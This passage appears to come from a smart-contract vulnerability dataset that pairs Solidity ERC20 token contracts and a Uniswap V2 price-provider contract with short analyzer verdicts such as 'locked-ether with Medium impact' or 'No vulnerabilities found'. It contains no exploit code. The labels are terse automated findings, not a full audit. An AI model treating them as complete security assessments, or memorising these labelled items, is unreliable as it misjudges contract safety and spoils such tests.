emit Transfer(address(0), 0xCD99527dADF1857ab89b5d92650E944994F4FCDD, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "../interfaces/IUniswapV2Pair.sol";
import "../interfaces/IUniswapV2Factory.sol";
import "../interfaces/IPriceOracle.sol";
import "../misc/SafeMath.sol";
import "../misc/Math.sol";
/** @title UniswapV2PriceProvider
* @notice Price provider for a Uniswap V2 pair token
* It calculates the price using Chainlink as an external price source and the pair's tokens reserves using the weighted arithmetic mean formula.
* If there is a price deviation, instead of the reserves, it uses a weighted geometric mean with the constant invariant K.
*/
contract UniswapV2PriceProvider {
using SafeMath for uint256;
IUniswapV2Pair public immutable pair;
address[] public tokens;
bool[] public isPeggedToEth;
uint8[] public decimals;
IPriceOracle immutable priceOracle;
uint256 public immutable maxPriceDeviation;
/**
* UniswapV2PriceProvider constructor.
* @param _pair Uniswap V2 pair address.
* @param _isPeggedToEth For each token, true if it is pegged to ETH.
* @param _decimals Number of decimals for each token.
* @param _priceOracle Aave price oracle.
* @param _maxPriceDeviation Threshold of spot prices deviation: 10ˆ16 represents a 1% deviation.
*/
constructor(
IUniswapV2Pair _pair,
bool[] memory _isPeggedToEth,
uint8[] memory _decimals,
IPriceOracle _priceOracle,
uint256 _maxPriceDeviation
) public {
require(_isPeggedToEth.length == 2, "ERR_INVALID_PEGGED_LENGTH");
require(_decimals.length == 2, "ERR_INVALID_DECIMALS_LENGTH");
require(
_decimals[0] <= 18 && _decimals[1] <= 18,
"ERR_INVALID_DECIMALS"
);
require(
address(_priceOracle) != address(0),
"ERR_INVALID_PRICE_PROVIDER"
);
require(_maxPriceDeviation < Math.BONE, "ERR_INVALID_PRICE_DEVIATION");
pair = _pair;
//Get tokens
tokens.push(_pair.token0());
tokens.push(_pair.token1());
isPeggedToEth = _isPeggedToEth;
decimals = _decimals;
priceOracle = _priceOracle;
maxPriceDeviation = _maxPriceDeviation;
}
/**
* Returns the token balance in ethers by multiplying its reserves with its price in ethers.
* @param index Token index.
* @param reserve Token reserves.
*/
function getEthBalanceByToken(uint256 index, uint112 reserve)
internal
view
returns (uint256)
{
uint256 pi = isPeggedToEth[index]
? Math.BONE
: uint256(priceOracle.getAssetPrice(tokens[index]));
require(pi > 0, "ERR_NO_ORACLE_PRICE");
uint256 missingDecimals = uint256(18).sub(decimals[index]);
uint256 bi = uint256(reserve).mul(10**(missingDecimals));
return Math.bmul(bi, pi);
}
/**
* Returns true if there is a price deviation.
* @param ethTotal_0 Total eth for token 0.
* @param ethTotal_1 Total eth for token 1.
*/
function hasDeviation(uint256 ethTotal_0, uint256 ethTotal_1)
internal
view
returns (bool)
{
//Check for a price deviation
uint256 price_deviation = Math.bdiv(ethTotal_0, ethTotal_1);
if (
price_deviation > (Math.BONE.add(maxPriceDeviation)) ||
price_deviation < (Math.BONE.sub(maxPriceDeviation))
) {
return true;
}
price_deviation = Math.bdiv(ethTotal_1, ethTotal_0);
if (
price_deviation > (Math.BONE.add(maxPriceDeviation)) ||
price_deviation < (Math.BONE.sub(maxPriceDeviation))
) {
return true;
}
return false;
}
/**
* Calculates the price of the pair token using the formula of arithmetic mean.
* @param ethTotal_0 Total eth for token 0.
* @param ethTotal_1 Total eth for token 1.
*/
function getArithmeticMean(uint256 ethTotal_0, uint256 ethTotal_1)
internal
view
returns (uint256)
{
uint256 totalEth = ethTotal_0 + ethTotal_1;
return Math.bdiv(totalEth, getTotalSupplyAtWithdrawal());
}
/**
* Calculates the price of the pair token using the formula of weighted geometric mean.
* @param ethTotal_0 Total eth for token 0.
* @param ethTotal_1 Total eth for token 1.
*/
function getWeightedGeometricMean(uint256 ethTotal_0, uint256 ethTotal_1)
internal
view
returns (uint256)
{
uint256 square = Math.bsqrt(Math.bmul(ethTotal_0, ethTotal_1), true);
return
Math.bdiv(
Math.bmul(Math.TWO_BONES, square),
getTotalSupplyAtWithdrawal()
);
}
/**
* Returns the pair's token price.
* It calculates the price using Chainlink as an external price source and the pair's tokens reserves using the arithmetic mean formula.
* If there is a price deviation, instead of the reserves, it uses a weighted geometric mean with constant invariant K.
*/
function latestAnswer() external view returns (uint256) {
//Get token reserves in ethers
(uint112 reserve_0, uint112 reserve_1, ) = pair.getReserves();
uint256 ethTotal_0 = getEthBalanceByToken(0, reserve_0);
uint256 ethTotal_1 = getEthBalanceByToken(1, reserve_1);
if (hasDeviation(ethTotal_0, ethTotal_1)) {
//Calculate the weighted geometric mean
return getWeightedGeometricMean(ethTotal_0, ethTotal_1);
} else {
//Calculate the arithmetic mean
return getArithmeticMean(ethTotal_0, ethTotal_1);
}
}
/**
* Returns Uniswap V2 pair total supply at the time of withdrawal.
*/
function getTotalSupplyAtWithdrawal()
private
view
returns (uint256 totalSupply)
{
totalSupply = pair.totalSupply();
address feeTo = IUniswapV2Factory(IUniswapV2Pair(pair).factory())
.feeTo();
bool feeOn = feeTo != address(0);
if (feeOn) {
uint256 kLast = IUniswapV2Pair(pair).kLast();
if (kLast != 0) {
(uint112 reserve_0, uint112 reserve_1, ) = pair.getReserves();
uint256 rootK = Math.bsqrt(
uint256(reserve_0).mul(reserve_1),
false
);
uint256 rootKLast = Math.bsqrt(kLast, false);
if (rootK > rootKLast) {
uint256 numerator = totalSupply.mul(rootK.sub(rootKLast));
uint256 denominator = rootK.mul(5).add(rootKLast);
uint256 liquidity = numerator / denominator;
totalSupply = totalSupply.add(liquidity);
}
}
}
}
/**
* Returns Uniswap V2 pair address.
*/
function getPair() external view returns (IUniswapV2Pair) {
return pair;
}
/**
* Returns all tokens.
*/
function getTokens() external view returns (address[] memory) {
return tokens;
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
interface IUniswapV2Pair {
function totalSupply() external view returns (uint);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function kLast() external view returns (uint);
function factory() external view returns (address);
}
pragma solidity 0.6.12;
interface IUniswapV2Factory {
function feeTo() external view returns (address);
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
/************
@title IPriceOracle interface
@notice Interface for the Aave price oracle.*/
interface IPriceOracle {
/***********
@dev returns the asset price in ETH
*/
function getAssetPrice(address _asset) external view returns (uint256);
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
// a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math)
library SafeMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, 'ds-math-add-overflow');
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, 'ds-math-sub-underflow');
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
// a library for performing various math operations
library Math {
uint256 public constant BONE = 10**18;
uint256 public constant TWO_BONES = 2*10**18;
/**
* @notice Returns the square root of an uint256 x using the Babylonian method
* @param y The number to calculate the sqrt from
* @param bone True when y has 18 decimals
*/
function bsqrt(uint y, bool bone) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
if(bone) {
x = (bdiv(y, x) + x) / 2;
}
else {
x = (y / x + x) / 2;
}
}
} else if (y != 0) {
z = 1;
}
}
function bmul(uint a, uint b) //Bone mul
internal pure
returns (uint)
{
uint c0 = a * b;
require(a == 0 || c0 / a == b, "ERR_MUL_OVERFLOW");
uint c1 = c0 + (BONE / 2);
require(c1 >= c0, "ERR_MUL_OVERFLOW");
uint c2 = c1 / BONE;
return c2;
}
function bdiv(uint a, uint b) //Bone div
internal pure
returns (uint)
{
require(b != 0, "ERR_DIV_ZERO");
uint c0 = a * BONE;
require(a == 0 || c0 / a == BONE, "ERR_DIV_INTERNAL"); // bmul overflow
uint c1 = c0 + (b / 2);
require(c1 >= c0, "ERR_DIV_INTERNAL"); // badd require
uint c2 = c1 / b;
return c2;
}
} | No vulnerabilities found |
pragma solidity ^0.4.18;
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract BSP is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function BSP() public {
symbol = "BSP";
name = "BallSwap";
decimals = 18;
_totalSupply = 888888888888000000000000000000;
balances[0x6a29063DD421Bf38a18b5a7455Fb6fE5f36F7992] = _totalSupply;
Transfer(address(0), 0x6a29063DD421Bf38a18b5a7455Fb6fE5f36F7992, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'CRYPTODUBAI' token contract
//
// Deployed to : 0xF9A4Ce04Ccc3a866ee3E800069fE7fC62f839949
// Symbol : CDUB
// Name : CRYPTODUBAI
// Total supply: 1000000000
// Decimals : 18
//
//
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract CRYPTODUBAI is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function CRYPTODUBAI() public {
symbol = "CDUB";
name = "CRYPTODUBAI";
decimals = 18;
_totalSupply = 1000000000000000000000000000;
balances[0xF9A4Ce04Ccc3a866ee3E800069fE7fC62f839949] = _totalSupply;
Transfer(address(0), 0xF9A4Ce04Ccc3a866ee3E800069fE7fC62f839949, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'ACT122173' token contract
//
// Deployed to : 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187
// Symbol : ACT122173
// Name : ADZbuzz Wsj.com Community Token
// Total supply: 2000000
// Decimals : 8
//
// Enjoy.
//
// (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence.
// (c) by Darwin Jayme with ADZbuzz Ltd. UK (adzbuzz.com) 2018.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract ADZbuzzCommunityToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function ADZbuzzCommunityToken() public {
symbol = "ACT122173";
name = "ADZbuzz Wsj.com Community Token";
decimals = 8;
_totalSupply = 200000000000000;
balances[0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187] = _totalSupply;
emit Transfer(address(0), 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity ^0.4.20;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b; assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
return false;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined) * From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function () public payable {
revert();
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
